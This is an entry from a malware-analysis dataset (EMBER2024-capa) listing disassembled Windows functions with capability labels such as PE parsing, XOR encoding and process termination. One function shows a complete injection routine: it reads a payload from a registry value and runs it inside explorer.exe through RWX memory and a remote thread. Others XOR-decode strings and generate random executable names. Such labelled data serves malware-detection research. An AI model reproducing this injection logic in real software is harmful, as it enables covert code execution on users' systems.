joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001154
Capabilities:
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp - 0x10], 0
mov dword [rbp - 0x1c], 0x30
mov eax, dword [rbp - 0x1c]
mov rax, qword gs:[rax]
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
mov rax, qword [rax + 8]
mov qword [rbp - 0x18], rax
mov dword [rbp - 4], 0
jmp 0x1400011ac
mov rax, qword [rbp - 0x10]
cmp rax, qword [rbp - 0x18]
jne 0x14000119e
mov dword [rbp - 4], 1
jmp 0x1400011e3
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [0x14013b490]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x40], 0
mov rcx, qword [rbp - 0x38]
mov rax, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x30]
lock cmpxchg qword [rdx], rcx
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x14000118b
mov rax, qword [0x14013b4a0]
mov eax, dword [rax]
cmp eax, 1
jne 0x1400011fd
mov ecx, 0x1f
call fcn.14011d900
jmp 0x14000123c
mov rax, qword [0x14013b4a0]
mov eax, dword [rax]
test eax, eax
jne 0x140001232
mov rax, qword [0x14013b4a0]
mov dword [rax], 1
mov rax, qword [0x14013b4e0]
mov rdx, rax
mov rax, qword [0x14013b4d0]
mov rcx, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
jmp 0x14000123c
mov dword [0x14013f024], 1
mov rax, qword [0x14013b4a0]
mov eax, dword [rax]
cmp eax, 1
jne 0x140001270
mov rax, qword [0x14013b4c0]
mov rdx, rax
mov rax, qword [0x14013b4b0]
mov rcx, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
mov rax, qword [0x14013b4a0]
mov dword [rax], 2
cmp dword [rbp - 4], 0
jne 0x140001294
mov rax, qword [0x14013b490]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x50], 0
mov rdx, qword [rbp - 0x50]
mov rax, qword [rbp - 0x48]
xchg qword [rax], rdx
mov rax, qword [0x14013b3e0]
mov rax, qword [rax]
test rax, rax
je 0x1400012bf
mov rax, qword [0x14013b3e0]
mov rax, qword [rax]
mov r8d, 0
mov edx, 2
mov ecx, 0
call rax
call fcn.14011cb88
mov rax, qword [0x14013b520]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call rax
mov rdx, qword [0x14013b480]
mov qword [rdx], rax
lea rax, section..text
mov rcx, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__set_invalid_parameter_handler
call fcn.14011c380
mov eax, dword [0x14013f004]
lea rdx, [0x14013f008]
mov ecx, eax
call fcn.14000147c
call fcn.14011c117
mov rax, qword [0x14013b410]
mov rax, qword [rax]
mov rdx, qword [0x14013f010]
mov qword [rax], rdx
mov rcx, qword [0x14013f010]
mov rdx, qword [0x14013f008]
mov eax, dword [0x14013f004]
mov r8, rcx
mov ecx, eax
call fcn.1400016d0
mov dword [0x14013f01c], eax
mov eax, dword [0x14013f020]
test eax, eax
jne 0x14000135d
mov eax, dword [0x14013f01c]
mov ecx, eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
mov eax, dword [0x14013f024]
test eax, eax
jne 0x14000136c
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
mov eax, dword [0x14013f01c]
add rsp, 0x70
pop rbp
ret
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x14013b440]
mov dword [rax], 1
mov rax, qword [0x14013b450]
mov dword [rax], 1
mov rax, qword [0x14013b460]
mov dword [rax], 1
mov rax, qword [0x14013b400]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x14011c390
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.14011d6f0
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x14011d062
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x14013f168]
test eax, eax
je 0x14011d0fa
lea rax, [0x14013f140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x14013f170]
mov qword [rbp - 8], rax
jmp 0x14011d0de
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x14011d0d2
cmp qword [rbp - 0x10], 0
je 0x14011d0d2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x14011d098
lea rax, [0x14013f140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x14011d0fb
nop
add rsp, 0x30
pop rbp
ret

Function at 0x14011d200
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x14011d228
mov eax, 0
jmp 0x14011d276
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x14011d251
mov eax, 0
jmp 0x14011d276
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x14011d271
mov eax, 0
jmp 0x14011d276
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x14011d27c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x14011d2fa
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x14011d2f1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x14011d2f1
mov rax, qword [rbp - 8]
jmp 0x14011d30f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x14011d2c4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x180001000
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x150
xor edx, edx
mov dword [rsp + 0x20], 0x130
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x18000105c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
call fcn.1800012c4
lea rdx, str.Failed_to_create_process_snapshot:__d_n
lea rcx, [rax + 0x60]
mov r8d, edi
call fcn.1800014d8
xor eax, eax
mov rbx, qword [rsp + 0x170]
add rsp, 0x150
pop rdi
ret
lea rdx, [rsp + 0x20]
mov rcx, rax
mov qword [rsp + 0x160], rbp
xor ebp, ebp
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x1800010b5
mov qword [rsp + 0x168], rsi
lea rsi, str.explorer.exe
lea rdi, [rsp + 0x4c]
mov ecx, 0xd
repe cmpsb byte [rsi], byte [rdi]
je 0x1800010a9
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x180001080
jmp 0x1800010ad
mov ebp, dword [rsp + 0x28]
mov rsi, qword [rsp + 0x168]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x170]
mov eax, ebp
mov rbp, qword [rsp + 0x160]
add rsp, 0x150
pop rdi
ret
Function at 0x1800010e0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Query or enumerate registry value
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x40
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r11, [rsp + 0x68]
lea rdx, str.Console
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], r11
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor ebp, ebp
mov ecx, 0xbb8
mov dword [rsp + 0x60], ebp
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x68]
lea r11, [rsp + 0x60]
mov qword [rsp + 0x28], r11
lea rdx, str.qweasd321zxc
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [rsp + 0x60]
call fcn.180001758
mov ecx, 0x1f4
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x68]
lea r11, [rsp + 0x60]
lea rdx, str.qweasd321zxc
xor r9d, r9d
mov qword [rsp + 0x28], r11
xor r8d, r8d
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [rsp + 0x60]
call fcn.180001758
mov rsi, rax
cmp dword [rsp + 0x60], ebp
jbe 0x1800011c9
mov r8, rax
sub rbx, rax
mov rdx, rax
neg r8
movzx ecx, byte [rbx + rdx]
inc rdx
mov byte [rdx - 1], cl
mov eax, dword [rsp + 0x60]
lea rcx, [r8 + rdx]
cmp rcx, rax
jb 0x1800011b2
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.180001000
mov edx, 1
mov r8d, eax
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r8d, dword [rsp + 0x60]
xor edx, edx
mov r9d, 0x3000
mov rcx, rax
mov dword [rsp + 0x20], 0x40
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, dword [rsp + 0x60]
mov r8, rsi
mov rcx, rdi
mov rdx, rax
mov rbx, rax
mov qword [rsp + 0x20], rbp
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], rbp
mov r9, rbx
xor r8d, r8d
xor edx, edx
mov rcx, rdi
mov dword [rsp + 0x28], ebp
mov qword [rsp + 0x20], rbp
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbx, qword [rsp + 0x70]
add rsp, 0x40
pop rdi
pop rsi
pop rbp
ret
Function at 0x18000b708
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x1800222b0]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.180004934
xor ebx, ebx
cmp qword [0x180022e68], rbx
mov rdi, rax
jne 0x18000b81b
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x18000b8f2
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18000b8f2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x180022e68], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x180022e70], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x180022e78], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x180022e88], rax
test rax, rax
je 0x18000b812
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x180022e80], rax
jmp 0x18000b822
mov rax, qword [0x180022e80]
jmp 0x18000b829
mov rax, qword [0x180022e80]
mov r11, qword [0x180022e88]
cmp rax, rdi
je 0x18000b890
cmp r11, rdi
je 0x18000b890
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x180022e88]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x18000b890
test rax, rax
je 0x18000b890
call rsi
test rax, rax
je 0x18000b88a
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x18000b88a
test byte [rsp + 0x40], 1
jne 0x18000b890
bts ebp, 0x15
jmp 0x18000b8d0
mov rcx, qword [0x180022e70]
cmp rcx, rdi
je 0x18000b8d0
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x18000b8d0
call rax
mov rbx, rax
test rax, rax
je 0x18000b8d0
mov rcx, qword [0x180022e78]
cmp rcx, rdi
je 0x18000b8d0
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x18000b8d0
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x180022e68]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x18000b8f2
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x18000b8f4
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1800085e0
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x18000eb7b
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x1800222b0]
jne 0x1800085fa
rol rcx, 0x10
test cx, 0xffff
jne 0x1800085f6
repz ret
ror rcx, 0x10
jmp 0x18000ead4
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x180022f40]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x180023038]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x18000eb59
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x180022f40]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x18000eb7b
mov rax, qword [rsp + 0x88]
mov qword [0x180023038], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x180022fd8], rax
mov rax, qword [0x180023038]
mov qword [0x180022eb0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x180022fc0], rax
mov dword [0x180022ea0], 0xc0000409
mov dword [0x180022ea4], 1
mov rax, qword [0x1800222b0]
mov qword [rsp + 0x68], rax
mov rax, qword [0x1800222b8]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x180022f38], eax
mov ecx, 1
call fcn.180008600
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x18001bda0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x180022f38], 0
jne 0x18000ec02
mov ecx, 1
call fcn.180008600
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140005c10
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x40
mov rax, qword [0x1401e1010]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov r14, qword [0x1404df3f8]
lea rcx, [rsp + 0x31]
mov rbp, rdx
mov word [rsp + 0x30], 0x3b09
xor eax, eax
xor edx, edx
mov byte [rsp + 0x32], al
call fcn.140014470
movzx ebx, byte [rsp + 0x30]
lea rcx, [rsp + 0x31]
xor edx, edx
xor bl, byte [rax]
call fcn.140014470
mov ecx, reloc.WS2_32.dll_sendto
lea r8, [rsp + 0x31]
mov byte [rax], bl
mov byte [rsp + 0x32], 0
call fcn.140005790
mov rdi, rax
movzx eax, byte [rsp + 0x31]
cmp al, 0x30
jl 0x140005cb5
nop dword [rax]
cmp al, 0x39
jg 0x140005cb5
mov ecx, 0xc76
call fcn.140005790
imul edi, eax
movsx eax, byte [r8]
inc r8
add edi, 0xffffffd0
add edi, eax
movzx eax, byte [r8]
cmp al, 0x30
jge 0x140005c90
mov dword [rsp + 0x30], 0x51545e67
xor esi, esi
mov word [rsp + 0x34], 0x53
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rsp + 0x31]
call fcn.140014510
movzx ebx, byte [rsp + 0x30]
lea rcx, [rsp + 0x31]
mov rdx, rsi
xor bl, byte [rax]
call fcn.140014510
inc rsi
mov byte [rax], bl
cmp rsi, 4
jb 0x140005cd0
mov ecx, reloc.WS2_32.dll_sendto
mov byte [rsp + 0x35], 0
lea r9, [rsp + 0x31]
call fcn.140005790
mov r8, rax
movzx eax, byte [rsp + 0x31]
cmp al, 0x30
jl 0x140005d48
nop dword [rax]
cmp al, 0x39
jg 0x140005d48
mov ecx, 0xc76
call fcn.140005790
imul r8d, eax
movsx eax, byte [r9]
inc r9
add r8d, 0xffffffd0
add r8d, eax
movzx eax, byte [r9]
cmp al, 0x30
jge 0x140005d20
movsxd r8, r8d
mov r9d, pe_nt_image_headers64
mov rdx, rbp
mov dword [rsp + 0x20], edi
xor ecx, ecx
call r14
mov al, 1
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.14002d760
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x70]
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret
Function at 0x14000a3c0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x5b], 0
je 0x14000a3e3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x4c]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x5a
jb 0x14000a3d0
mov byte [rcx + 0x5b], 0
mov rax, rcx
ret
Function at 0x14000ce40
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xd], 0
je 0x14000ce63
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x4c]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0xc
jb 0x14000ce50
mov byte [rcx + 0xd], 0
mov rax, rcx
ret

Function at 0x14000ce70
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 6], 0
je 0x14000ce93
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x4c]
xor byte [rax + rcx], dl
inc rax
cmp rax, 5
jb 0x14000ce80
mov byte [rcx + 6], 0
mov rax, rcx
ret

Function at 0x14000cf90
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
mov eax, 0x1410
call fcn.140184460
sub rsp, rax
mov rax, qword [0x1401e1010]
xor rax, rsp
mov qword [rsp + 0x1400], rax
mov esi, edx
mov rdi, rcx
mov qword [rsp + 0x28], rcx
xor ebx, ebx
mov dword [rsp + 0x20], ebx
movups xmm0, xmmword [0x1401ca510]
movups xmmword [rsp + 0x13c0], xmm0
movups xmm1, xmmword [0x1401ca520]
movups xmmword [rsp + 0x13d0], xmm1
movups xmm0, xmmword [0x1401ca530]
movups xmmword [rsp + 0x13e0], xmm0
movsd xmm1, qword [0x1401ca540]
movsd qword [rsp + 0x13f0], xmm1
mov eax, dword [0x1401ca548]
mov dword [rsp + 0x13f8], eax
movzx eax, word [0x1401ca54c]
mov word [rsp + 0x13fc], ax
movzx eax, byte [0x1401ca54e]
mov byte [rsp + 0x13fe], al
mov qword [rcx], rbx
mov qword [rcx + 8], rbx
mov qword [rcx + 0x18], rbx
mov qword [rcx + 0x20], rbx
lea ecx, [rbx + 0x10]
call fcn.14001be30
mov qword [rax + 8], rbx
mov qword [rdi], rax
mov qword [rax], rdi
mov qword [rdi + 0x18], rbx
mov qword [rdi + 0x20], reloc.WS2_32.dll_ntohs
mov byte [rdi + 8], bl
mov ebx, 1
mov dword [rsp + 0x20], ebx
call fcn.140035ce0
mov dword [rsp + 0x13b4], 0xffffffff
mov dword [rsp + 0x34], eax
nop
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, ebx
mov dword [rsp + rbx*4 + 0x34], eax
inc rbx
cmp rbx, 0x270
jb 0x14000d080
mov dword [rsp + 0x30], 0x270
test esi, esi
jle 0x14000d10b
mov rbx, rsi
nop
lea rcx, [rsp + 0x30]
call fcn.140027520
mov ecx, eax
mov eax, 0x8421085
mul ecx
mov eax, ecx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
cmp eax, 0x4210842
jae 0x14000d0b0
mov eax, 0x8421085
mul ecx
mov r8d, ecx
sub r8d, edx
shr r8d, 1
add r8d, edx
shr r8d, 5
imul edx, r8d, 0x3e
sub ecx, edx
movsxd rdx, ecx
movzx edx, byte [rsp + rdx + 0x13c0]
mov rcx, rdi
call fcn.140017e40
sub rbx, 1
jne 0x14000d0b0
mov rax, rdi
mov rcx, qword [rsp + 0x1400]
xor rcx, rsp
call fcn.14002d760
lea r11, [rsp + 0x1410]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x14000e5d0
Capabilities:
Access peb ldr_data
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x70
mov rax, qword [0x1401e1010]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov r14, rcx
mov qword [rsp + 0x28], rcx
mov ebx, reloc.WS2_32.dll_ntohs
mov edi, ebx
mov rax, qword gs:[0x58]
mov r15, qword [rax]
mov r12d, reloc.WS2_32.dll_sendto
mov eax, dword [r12 + r15]
mov ebp, 0x13c0
test al, 1
jne 0x14000e67c
or eax, 1
mov dword [r12 + r15], eax
mov esi, ebp
add rsi, r15
call fcn.140035ce0
mov ecx, eax
mov dword [rsi + 0x1384], 0xffffffff
mov dword [rsi + 4], eax
lea edx, [rbx - 0xe]
lea r8, [rsi + 8]
mov eax, ecx
shr eax, 0x1e
xor eax, ecx
imul ecx, eax, 0x6c078965
add ecx, edx
mov dword [r8], ecx
inc rdx
lea r8, [r8 + 4]
cmp rdx, 0x270
jb 0x14000e650
mov dword [rsi], 0x270
mov eax, dword [r12 + r15]
mov esi, 0x2748
xor r13d, r13d
test al, 2
jne 0x14000e69c
or eax, 2
mov dword [r12 + r15], eax
mov qword [r15 + rsi], r13
mov qword [r15 + rsi + 8], Ordinal_26
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], r13
mov ecx, reloc.WS2_32.dll_recv
call fcn.14001be30
mov qword [rax + 8], r13
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x38]
mov qword [rax], rcx
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], rbx
mov byte [rsp + 0x40], 0
mov rdx, rbx
lea rcx, [rsp + 0x38]
call fcn.140014c50
add rsi, r15
add rbp, r15
lea r15, str.QWERTYUIOPASDFGHJKLZXCVBNM
mov rdx, rbp
mov rcx, rsi
call fcn.14001aee0
movzx edx, byte [rax + r15]
lea rcx, [rsp + 0x38]
call fcn.140017e40
sub rdi, 1
jne 0x14000e6f3
mov rsi, qword [rsp + 0x50]
movabs rax, 0x7fffffffffffffff
sub rax, rsi
cmp rax, 4
jb 0x14000e824
lea r12, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae r12, qword [rsp + 0x40]
mov qword [r14], r13
mov qword [r14 + 8], r13
mov qword [r14 + 0x18], r13
mov qword [r14 + 0x20], r13
lea rbp, [rsi + 4]
lea rdi, [r14 + 8]
lea rax, [rsp + 0x20]
mov qword [rsp + 0x30], rax
mov ecx, reloc.WS2_32.dll_recv
call fcn.14001be30
mov qword [rsp + 0x28], rax
mov qword [rax], r14
mov qword [rax + 8], r13
mov qword [r14], rax
cmp rbp, 0xf
jbe 0x14000e7b7
mov rbx, rbp
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
jbe 0x14000e79b
mov rbx, rax
jmp 0x14000e7a7
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
call fcn.14001be30
mov rdi, rax
mov qword [r14 + 8], rax
mov qword [r14 + 0x18], rbp
mov qword [r14 + 0x20], rbx
mov r8, rsi
mov rdx, r12
mov rcx, rdi
call fcn.140114500
mov dword [rdi + rsi], 0x6578652e
mov byte [rdi + rbp], 0
lea rcx, [rsp + 0x38]
call fcn.140017db0
mov rcx, qword [rsp + 0x38]
mov qword [rsp + 0x38], r13
mov edx, reloc.WS2_32.dll_recv
call fcn.14001bf10
mov rax, r14
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.14002d760
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
call fcn.140002520
nop
int3